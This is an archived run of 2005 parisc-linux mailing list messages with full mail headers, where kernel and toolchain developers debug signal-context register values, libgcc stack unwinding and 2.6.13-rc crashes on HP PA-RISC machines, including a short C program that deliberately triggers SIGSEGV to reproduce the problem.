Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 65D917D415
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Aug 2005 10:18:48 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id j7QGIiC32374; 
	Fri, 26 Aug 2005 18:18:44 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oCV9Y+cDeSEkVL6WZHQhaXN1IGRvb0CC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23138

> > > After another couple of hours of poking at this with gdb, I think
> > > we have a kernel bug.  The saved r2 value in the signal context
> > > appears to contain the pc where the exception occurred instead of
> > > the r2 value when the exception occured.  As a result, the unwind
> > > process goes into a loop when an exception occurs in a function
> > > which hasn't saved r2 in the frame.
> > > 
> > Ah, that why my stress test made again hang the b2k apparently at the=
 same
> > place as the original mail:
> > hpmc pointing to the same bad value (IAOQ =3D 0x00000000000172b8)
> > 
> > while TOC always show a pb in internal_add_timer():
> > GR[02] =3D=3D rp =3D 00000000101319b4
> 
> I don't see how these are related.  I'm talking about the value of
> r2 saved in the context passed to a signal handler.  Normally, the
> code that generated an exception isn't restarted, so a bad value
> for r2 doesn't usually affect the application.  In the java case,
> the java runtime is attempting to unwind the stack of the application
> and needs the r2 value for this.  Note that this is the context
> passed to a user application.
Ah ok my pb is another pb :_(
 
> 
> In the above, the TOC rp value is a kernel address.  The hpmc
> IAOQ value is probably in PDC code.  Most likely, this occurs when
> the machine is probing devices while rebooting.  I see this on my
> c3k all the time when I press TOC.
>
And no chance to get more debuging stuff as Sysrq doesn't responds ;^(

Thanks,
    Joel=0A=0A-----------------------------------------------------------=
----=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0A=
More info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Fri, 26 Aug 2005 11:29:42 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200508261529.j7QFTghD015759@hiauly1.hia.nrc.ca>
References: <ILU3F9$C3BA108CF7E2FE4DECDD367F36FD15E5@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623917 16634 80.91.229.3 (22 Nov 2014 02:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2005 15:29:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 26 Aug 2005 17:29:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EABB7D6EF;
	Fri, 26 Aug 2005 09:29:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02470-05; Fri, 26 Aug 2005 09:29:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E8D27D6F0;
	Fri, 26 Aug 2005 09:29:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B16237D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Aug 2005 09:29:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02470-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Aug 2005 09:29:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 173D17D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Aug 2005 09:29:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7QFThnV015762; Fri, 26 Aug 2005 11:29:44 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7QFTghD015759;
	Fri, 26 Aug 2005 11:29:42 -0400 (EDT)
In-Reply-To: <ILU3F9$C3BA108CF7E2FE4DECDD367F36FD15E5@scarlet.be> from "Joel
	Soete" at Aug 26, 2005 04:40:21 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JVB9Y+M0eSEkfr6WZHQhaXN1IGRvbwCL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23139

> > After another couple of hours of poking at this with gdb, I think
> > we have a kernel bug.  The saved r2 value in the signal context
> > appears to contain the pc where the exception occurred instead of
> > the r2 value when the exception occured.  As a result, the unwind
> > process goes into a loop when an exception occurs in a function
> > which hasn't saved r2 in the frame.
> > 
> Ah, that why my stress test made again hang the b2k apparently at the same
> place as the original mail:
> hpmc pointing to the same bad value (IAOQ = 0x00000000000172b8)
> 
> while TOC always show a pb in internal_add_timer():
> GR[02] == rp = 00000000101319b4

I don't see how these are related.  I'm talking about the value of
r2 saved in the context passed to a signal handler.  Normally, the
code that generated an exception isn't restarted, so a bad value
for r2 doesn't usually affect the application.  In the java case,
the java runtime is attempting to unwind the stack of the application
and needs the r2 value for this.  Note that this is the context
passed to a user application.

In the above, the TOC rp value is a kernel address.  The hpmc
IAOQ value is probably in PDC code.  Most likely, this occurs when
the machine is probing devices while rebooting.  I see this on my
c3k all the time when I press TOC.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sat, 27 Aug 2005 22:40:53 +0800
Lines: 72
Approved: news@gmane.org
Message-ID: <43107B75.80301@tausq.org>
References: <200508261342.j7QDgMCk015398@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623918 16642 80.91.229.3 (22 Nov 2014 02:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2005 14:40:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 27 Aug 2005 16:40:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D6177D6FE;
	Sat, 27 Aug 2005 08:40:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10557-08; Sat, 27 Aug 2005 08:40:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CA507D6F1;
	Sat, 27 Aug 2005 08:40:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C34C87D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 08:40:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10434-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 08:40:08 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 0B7C77D6E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 08:40:08 -0600 (MDT)
Original-Received: from 125.206.17.210.dyn.pacific.net.hk ([210.17.206.125]
	helo=[192.168.1.102])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1E91jw-0001RJ-Vq; Sat, 27 Aug 2005 22:33:01 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <200508261342.j7QDgMCk015398@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BR5iY/kKeSEkWL6WZHQhaXN1IGRvb4Cu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23140


> After another couple of hours of poking at this with gdb, I think
> we have a kernel bug.  The saved r2 value in the signal context
> appears to contain the pc where the exception occurred instead of
> the r2 value when the exception occured.  As a result, the unwind
> process goes into a loop when an exception occurs in a function
> which hasn't saved r2 in the frame.

I thought I could reproduce this, but I couldn't..... using the attached 
program, the signal handler does see the correct (different) r2 and iaoq 
in the signal frame. When compiled with -O2, bar() is a leaf function 
with no frame, r2 in the signal handler points to the return point of 
foo() inside of main().

Did I misunderstand the problem that you are describing? I am testing 
with 2.6.13-rc6-pa2 64-bit.

randolph

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <sys/ucontext.h>

void baz(void)
{
         printf("in baz\n");
}

void sighandler(int sig, siginfo_t *info, void *data)
{
         struct ucontext *ctx = (struct ucontext *)data;
         struct sigcontext *mctx = &ctx->uc_mcontext;
         printf("in sighandler\n");
         printf("data=%p, r2 = %x, iaoq[0] = %x\n", data, 
mctx->sc_gr[2], mctx->sc_iaoq[0]);
         baz();
         exit(0);
}

void bar(void)
{
         int *x = 0;
         int r2;

         *x = 0;
}

void foo(void)
{
         printf("in foo\n");
         bar();
}

int main(int argc, char **argv)
{
         struct sigaction sact;

         memset(&sact, 0, sizeof(sact));
         sact.sa_flags = SA_SIGINFO;
         sact.sa_sigaction = sighandler;
         sigaction(SIGSEGV, &sact, NULL);
         foo();

         return 0;
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vesa Ruokonen <vesa.ruokonen@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000, K Class - K420 ->boots linux?
Date: Sat, 27 Aug 2005 20:03:00 +0300
Lines: 23
Approved: news@gmane.org
Message-ID: <92dc102905082710036bd21cb3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623918 16644 80.91.229.3 (22 Nov 2014 02:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2005 17:03:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 27 Aug 2005 19:03:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 929FB7D702;
	Sat, 27 Aug 2005 11:03:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11115-08; Sat, 27 Aug 2005 11:03:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CC607D705;
	Sat, 27 Aug 2005 11:03:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D2DC7D702
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 11:03:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11115-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 11:03:02 -0600 (MDT)
Original-Received: from xproxy.gmail.com (xproxy.gmail.com [66.249.82.202])
	by free.linux.hp.com (Postfix) with ESMTP id A827F7D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 11:03:01 -0600 (MDT)
Original-Received: by xproxy.gmail.com with SMTP id h29so435863wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 10:03:00 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=imrCIBGG10pFCInRy2E31IJKdB+av8z/EXSL//VOssdMVt2x69Y3Gf3LQmIRKEpESpOGIFx+yaOUVhEbkm8pcMtTloiXVEZUuXpYjBwm1mekTHQ36pObdDg9D/JI+AxjdOsyi0hFUXaiV7jzpZzdpzybHbO0W9tAd0s+xg1Akew=
Original-Received: by 10.70.60.8 with SMTP id i8mr68639wxa;
	Sat, 27 Aug 2005 10:03:00 -0700 (PDT)
Original-Received: by 10.70.128.17 with HTTP; Sat, 27 Aug 2005 10:03:00 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mfliYzM8eSEkSr6WZHQhaXN1IGRvb0AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23141

> How does parisc-linux go with the K420
> these days?  Will it boot?

It works here on K380, 3 CPU's, but not as easily as on newer hw.
Debian (Sarge 3.1r0a) netinst loads the kernel, but fails too soon (no
multiuser and no console I recall).
Gentoo has fully working livecd, which boots on K class too. Someone
recommended to use the last image from 2004. So I would recommend
playing with Gentoo for now.

But there's a new problem with latest kernels too. 2.6.12.2-pa2 runs
fine with SMP enabled. But any 2.6.13-rc kernel with SMP dies silently
right after probe for console (ttyB0). When new (.13-rc) kernel is
built without SMP support, it works fine. Any ideas what could be
problem here?
--=20
Vesa
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sat, 27 Aug 2005 13:38:49 -0400 (EDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <200508271738.j7RHcnZH020412@hiauly1.hia.nrc.ca>
References: <43107B75.80301@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623918 16647 80.91.229.3 (22 Nov 2014 02:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2005 17:39:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 27 Aug 2005 19:39:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EA0B7D70E;
	Sat, 27 Aug 2005 11:38:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11392-09; Sat, 27 Aug 2005 11:38:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C82F7D710;
	Sat, 27 Aug 2005 11:38:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEF247D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 11:38:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11392-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 11:38:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 002467D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Aug 2005 11:38:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7RHconV020414; Sat, 27 Aug 2005 13:38:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7RHcnZH020412;
	Sat, 27 Aug 2005 13:38:49 -0400 (EDT)
In-Reply-To: <43107B75.80301@tausq.org> from "Randolph Chung" at Aug 27,
	2005 10:40:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YcBiY/koeSEkar6WZHQhaXN1IGRvb0AV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23142

> > After another couple of hours of poking at this with gdb, I think
> > we have a kernel bug.  The saved r2 value in the signal context
> > appears to contain the pc where the exception occurred instead of
> > the r2 value when the exception occured.  As a result, the unwind
> > process goes into a loop when an exception occurs in a function
> > which hasn't saved r2 in the frame.
> 
> I thought I could reproduce this, but I couldn't..... using the attached 
> program, the signal handler does see the correct (different) r2 and iaoq 
> in the signal frame. When compiled with -O2, bar() is a leaf function 
> with no frame, r2 in the signal handler points to the return point of 
> foo() inside of main().
> 
> Did I misunderstand the problem that you are describing? I am testing 
> with 2.6.13-rc6-pa2 64-bit.
> }
> 
> void sighandler(int sig, siginfo_t *info, void *data)
> {
>          struct ucontext *ctx = (struct ucontext *)data;
>          struct sigcontext *mctx = &ctx->uc_mcontext;
>          printf("in sighandler\n");
>          printf("data=%p, r2 = %x, iaoq[0] = %x\n", data, 
> mctx->sc_gr[2], mctx->sc_iaoq[0]);
>          baz();
>          exit(0);

Actually, the change that I originally posted fixes the problem.
I blew the testing when I tried to take a short cut after the first
tested failed due to a separate problem was introduced into the
tree.  The problem was libgcc didn't get rebuilt as we don't have
proper dependencies on the linux-unwind.h file.

I did more debugging and the signal context generated by the
kernel is fine.  The problem is simply that the frame state
built by pa32_fallback_frame_state has to include offsets for
both r2 and iaoq[0].  We need r2 when the function that causes
the exception hasn't saved r2.  In that case, using the r2 slot
in the frame state as the unwind column causes the unwind machinery
to think that the function that caused the exception has the
exception point as its return location.  You can see this if
you look at the context built in _Unwind_Backtrace for the
function that causes the exception.

We can simply use the r0 slot in the frame state for the return
address column in signal frames since r0 is never saved.

I'm now down to the following failures on my c3k under 2.6.8.1-pa11
(I reverted back because of the crashes under 2.6.13):

FAIL: Serialization output - gij test
FAIL: Serialization output - gij test
WARNING: program timed out.
FAIL: SyncTest execution - gij test
FAIL: negzero output - gij test
FAIL: negzero output - gij test

This is down from ~65 fails two weeks ago.  The testsuite is now
running on 2.6.13-rc3-pa1 (64-bit SMP).  In the past, the results
for some of the above have varied from one system to another.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Tue, 30 Aug 2005 22:26:36 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20050831022636.GA4785__27337.2025731534$1416623919$gmane$org@roadwarrior.mcmartin.ca>
References: <20050817101017.008D03658E8@mail.esiee.fr>
